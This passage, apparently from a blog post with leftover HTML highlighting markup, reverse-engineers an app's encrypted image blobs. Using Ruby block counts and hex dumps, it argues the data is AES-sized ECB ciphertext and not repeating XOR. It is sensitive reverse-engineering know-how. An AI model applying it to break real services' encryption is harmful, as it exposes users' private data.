#89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;hellomoto&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;timestamp&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1368171438418&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;req_token&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It turns out all the data required is in the URI; no funny header business.
You can paste the requested URL directly into a browser and fetch the blob.&lt;/p&gt;
&lt;p&gt;What you get is identified by the BSD file tool as &lt;code&gt;data&lt;/code&gt; – not obviously an
image, video, or whatever, nor any headers indicating encryption or
compression.&lt;/p&gt;
&lt;p&gt;First, I had a look at the size: 19,712 bytes, which is divisible by 256.  This
feels like too much of a coincidence; I’d be surprised by divisibility by
anything above 4 or 8.  My going assumption is that images are transferred in
JPEG, and ~half the JPEGs I looked at on my disk have odd numbers of bytes, so
I’m guessing there’s nothing frame-y about JPEG that would cause the plaintext
to be in a regular block of bytes – so conclusion, it’s probably a block
cipher.&lt;/p&gt;
&lt;p&gt;Next, it was time to see if there were any obvious cryptographic errors.  A
repeated block in the ciphertext might give us a hint about the encryption
mode.&lt;/p&gt;
&lt;p&gt;Sure enough, a repeated 16-byte block:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;open&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;r:ASCII-8BIT&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;each_slice&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;to_a&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1232&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;each_slice&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;to_a&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;2464&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;each_slice&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;to_a&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;uniq&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;2462&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;each_slice&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;to_a&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1232&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;each_slice&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;to_a&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;uniq&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1231&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So apparently a 16-byte (128-bit) block cipher, in &lt;a href=&quot;http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29&quot;&gt;ECB
mode&lt;/a&gt;
at that.  (Not a good thing.)   Seeing as there wasn’t a demonstration of a lot
of intelligence this far, I started to wonder if it wasn’t just XORed, as it’d
look the same.&lt;/p&gt;
&lt;p&gt;A &lt;a href=&quot;https://twitter.com/kyhwana/status/332770066150068227&quot;&gt;friend on Twitter
noted&lt;/a&gt; that the repeated
block was at the same location as JPEG files have a string of repeated bytes.&lt;/p&gt;
&lt;p&gt;Here’s a JPEG surrounding the repeated bytes:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;a0&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;090&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;c&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0b0&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;c&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;180&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0d18&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3221&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;c21&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt;  &lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2222&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;b0&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt;  &lt;span style=&quot;color: #fab387;&quot;&gt;2222222222222222&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;c0&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt;  &lt;span style=&quot;color: #fab387;&quot;&gt;2222222222222222&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;00000&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;d0&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3232&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;ffc0&lt;/span&gt;  &lt;span style=&quot;color: #fab387;&quot;&gt;22222222222222&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here’s the ciphertext around the repeated 16-byte blocks:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000060&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;61e0&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;cb3&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;ca5d&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;ebe&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;cd9&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;2212&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3e9&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;ba&lt;/span&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;N&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;L&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;@&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000070&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;39e4&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;dc2&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;ac39&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;f10&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;59&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d8&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;fc08&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d19&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;b239&lt;/span&gt;  &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;Y&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000080&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;39e4&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;dc2&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;ac39&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;f10&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;59&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d8&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;fc08&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d19&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;b239&lt;/span&gt;  &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;Y&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000090&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;4614&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d69&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;c61&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d11&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;cabb&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;5310&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1697&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;b4f&lt;/span&gt;  &lt;span style=&quot;color: #f9e2af;&quot;&gt;F&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Mi&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;S&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;O&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the &lt;code&gt;32&lt;/code&gt; bytes are more than 2x 16-byte blocks in length: they extend
well before and after the 16-byte alignment.  But the ciphertext doesn’t show
that at all: this rules out a plain repeating XOR, as we’d otherwise expect to
see something more like this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-ruby&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0000060&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;61e0&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;cb3&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;ca5d&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;ebe&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;cd9&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;2212&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;d19&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;b239&lt;/span&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;N&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;L&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;9&lt;/span&gt;
